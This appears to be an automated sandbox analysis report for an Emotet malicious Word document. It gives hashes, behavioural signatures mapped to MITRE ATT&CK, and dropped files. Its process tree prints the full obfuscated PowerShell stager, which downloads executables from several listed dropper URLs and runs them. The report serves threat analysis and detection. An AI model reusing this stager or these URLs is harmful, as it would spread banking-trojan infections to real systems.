emotet | 26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5

General

Target

26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5.doc
Size

203KB
MD5

3f27a3e06a8dbeb16ecf0dde173d1924
SHA1

a1a679288523857f1d304a7d4ce08f2c3cfc9a37
SHA256

26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5
SHA512

923b28f1acf8cac626f683bc98e116ed304b6b8f5e4f38026d955dda3a91829a73d7fcc45c6be19908fb07dc2d173b30e6b2721d14cb58f0271aa3328f557dad
SSDEEP

6144:P8AO4pC8pN7tpTBOI+VHSfXTWMfHaR5f:0AO16ZPTWM/aR

Score

10^/10

emotet banker execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://krems-bedachungen.de/fyKDV/

exe.dropper

http://4glory.net/btKzNVlg/

exe.dropper

http://angelabphotography.com/4hR1e/

exe.dropper

http://dekormc.pl/js/ncrILdi/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2676	3940	Powershell.exe	80

Blocklisted process makes network request 5 IoCs

flow	pid	Process
25	2676	Powershell.exe
28	2676	Powershell.exe
32	2676	Powershell.exe
35	2676	Powershell.exe
38	2676	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2676	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3940	WINWORD.EXE
3940	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2676	Powershell.exe
2676	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	Powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 2676	3940	WINWORD.EXE	85
PID 3940 wrote to memory of 2676	3940	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
  Powershell (('(Jxu3Jxu+JxuhJxu+JxuRnsJxu+JxuaJxu'+'+JxudJxu+Jxuasd = &(efpnefp+efpJx'+'u+Jxueefp+'+'efJxu+JxupJxu+Jxuw-objeceJxu+'+'JxufJxu+JxupJxu+Jxu+eJxu+J'+'xufptefp) random;3Jxu+JxuhJxu+JxuRYJxu+J'+'xuYJxu+Jx'+'uU =Jxu+Jxu Jxu+Jxu.Jxu+Jxu(Jxu+JxuefpnJxu+JxueJxu+Jxue'+'fp+efJxu+JxupJxu+JxuwJxu+Jx'+'uefpJxu+Jxu+eJxu+Jxufp-objecteJxu+Jxufp) Sy'+'sJxu+Jxutem'+'.Net.WebClJxu+JxuieJxu+JxuntJx'+'u+Jxu;3Jxu+JxuhRJxu+Jx'+'uNJxu+JxuSB = 3Jxu+JxuhRJxu+JxunJxu+JxusadJxu+JxuasdJxu+J'+'xu.neJx'+'u+JxuxJxu+JxutJxu+Jxu(Jxu+Jxu10000Jxu+Jxu,Jx'+'u+Jx'+'u 28213Jxu+Jxu3)Jxu+Jxu;Jxu+Jxu3hRADJxu+Jxu'+'C'+'XJxu+Jxu Jxu+'+'Jx'+'u= '+'ef'+'p http:/Jxu+Jxu/lg'+'lab.Jxu+Jxuco.Jxu+JxuukJxu+Jxu/vsiJxu+Jxu6YDJxu+JxurX/@hJxu+JxuttJxu+Jxup://Jxu+JxukJxu+JxureJxu'+'+JxumJxu+'+'JxusJxu+Jxu-beJxu+JxudaJxu+JxuchungenJxu+Jxu.Jxu+JxudeJxu+Jx'+'u/Jxu+JxufyKDVJxu+Jxu/Jxu+Jxu@http:Jxu+Jx'+'u//4glorJxu+Jxuy.net/bJxu+J'+'xutKzJxu+JxuNVlg/@Jxu+JxuhttpJxu+Jx'+'u://aJxu+JxungelJxu+JxuabphotogJxu+Jxuraph'+'y.Jxu+JxucJxu+JxuomJxu+Jxu/Jxu+Jxu4hJxu+Jxu'+'R1eJxu+Jxu/@htJxu'+'+JxutJxu+Jxup:Jxu+Jxu//dekormJxu+Jxuc.Jxu+JxupJxu+JxulJxu+Jxu/J'+'xu+Jxujs/Jxu+JxuncrJxu+JxuILdiJxu+Jxu/eJxu+Jxufp.SJxu+JxupJxu+Jxulit(efpJxu+Jx'+'u@eJxu+Jxufp);Jxu+Jxu3hRSDC = 3Jxu+JxuhRenvJxu'+'+Jxu:publiJxu+JxucJ'+'xu+Jxu + efJxu+'+'Jxup7FMJxu+J'+'xuefpJxu+Jxu + Jxu+Jxu3hRN'+'SB Jxu+Jxu+Jxu+Jxu'+' (Jxu+JxuefpJxu+Jxu.exefp+Jxu+JxueJxu+JxufJ'+'xu+JxupeJxu+JxuefJxu+Jxup);foJxu+JxurJxu+JxueacJxu+Jxuh(Jxu+Jxu3hRasfc iJxu+JxunJxu+Jxu 3hJxu+JxuRADJxu+'+'JxuCX)Jxu+Jxu{Jx'+'u+JxutJxu+Jxur'+'Jxu+Jxuy{3hRYYU.EJxu+JxuLBJxu+JxuDoJx'+'u+JxuTY0W'+'nlT'+'Y0OadFITJxu+JxuYJxu+Jxu0lJxu+JxueEJxu+JxuLJxu+JxuB(3hRasfc.E'+'LBToStJxu+JxurTJxu+JxuYJxu+Jxu0Jxu+JxuiTJxu+JxuYJxu+Jxu0NgELJxu+JxuBJxu+Jxu()Jxu+Jxu, 3Jxu+JxuhRSDC);&(efpInvJxu+JxuoefpJxu+Jxu+efpkeJxu+'+'Jxuf'+'p+efp'+'e-It'+'emeJxu+JxufpJxu+'+'Jxu)Jxu+Jxu(3hJxu+JxuRSJx'+'u+JxuDCJxu+Jxu);breakJxu+Jxu;Jxu+Jxu}catch{}Jxu+Jxu}Jxu).R'+'EpLACe(Jxu7FMJxu,JxuD2cJxu).REpLACe(JxuefpJxu,[STRinG][Char]39).REpLACe('+'Jxu3h'+'RJxu,Jxus'+'uKJxu).REpLACe(JxuELBJxu,[STRinG][Char]34).REpLACe(JxuTY0Jxu,[STRinG][Char]96) tMo. ( suKPshOme[4]+suKPSHoMe[30]+JxuxJxu)')-CreplaCE 'tMo',[cHar]124-CreplaCE 'Jxu',[cHar]39-rEPlAcE 'suK',[cHar]36 -rEPlAcE ([cHar]68+[cHar]50+[cHar]99),[cHar]92) |.( $SHELLID[1]+$sHELlID[13]+'X')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD9679.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a2112fhu.gaj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
18KB

MD5
1772a540529c514753aa03f729c73c54

SHA1
e78ad007dac5cf318ab22eeacbc203c1af91b355

SHA256
015512fb64374a282168344911853f689c700ad32f5669f481ce33e9e307af86

SHA512
b18b23ea5d31f185696c7d443fea1379de3193ef279e2357614642a6228f65689ca60ca976c9d4042a502d53414bf33bccb7978c2739b6f4b88507b4d3859e34

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2676-195-0x00000208FFE90000-0x00000208FFEB2000-memory.dmp

Filesize
136KB

Download
memory/3940-16-0x00007FFA83890000-0x00007FFA838A0000-memory.dmp

Filesize
64KB

Download
memory/3940-7-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-8-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-5-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-9-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-11-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-10-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-12-0x00007FFA83890000-0x00007FFA838A0000-memory.dmp

Filesize
64KB

Download
memory/3940-14-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-15-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-13-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-1-0x00007FFAC590D000-0x00007FFAC590E000-memory.dmp

Filesize
4KB

Download
memory/3940-69-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-6-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-4-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-2-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-222-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-223-0x00007FFAC590D000-0x00007FFAC590E000-memory.dmp

Filesize
4KB

Download
memory/3940-224-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-225-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-231-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-3-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-0-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-733-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-734-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-732-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-731-0x00007FFA858F0000-0x00007FFA85900000-memory.dmp

Filesize
64KB

Download
memory/3940-735-0x00007FFAC5870000-0x00007FFAC5A65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads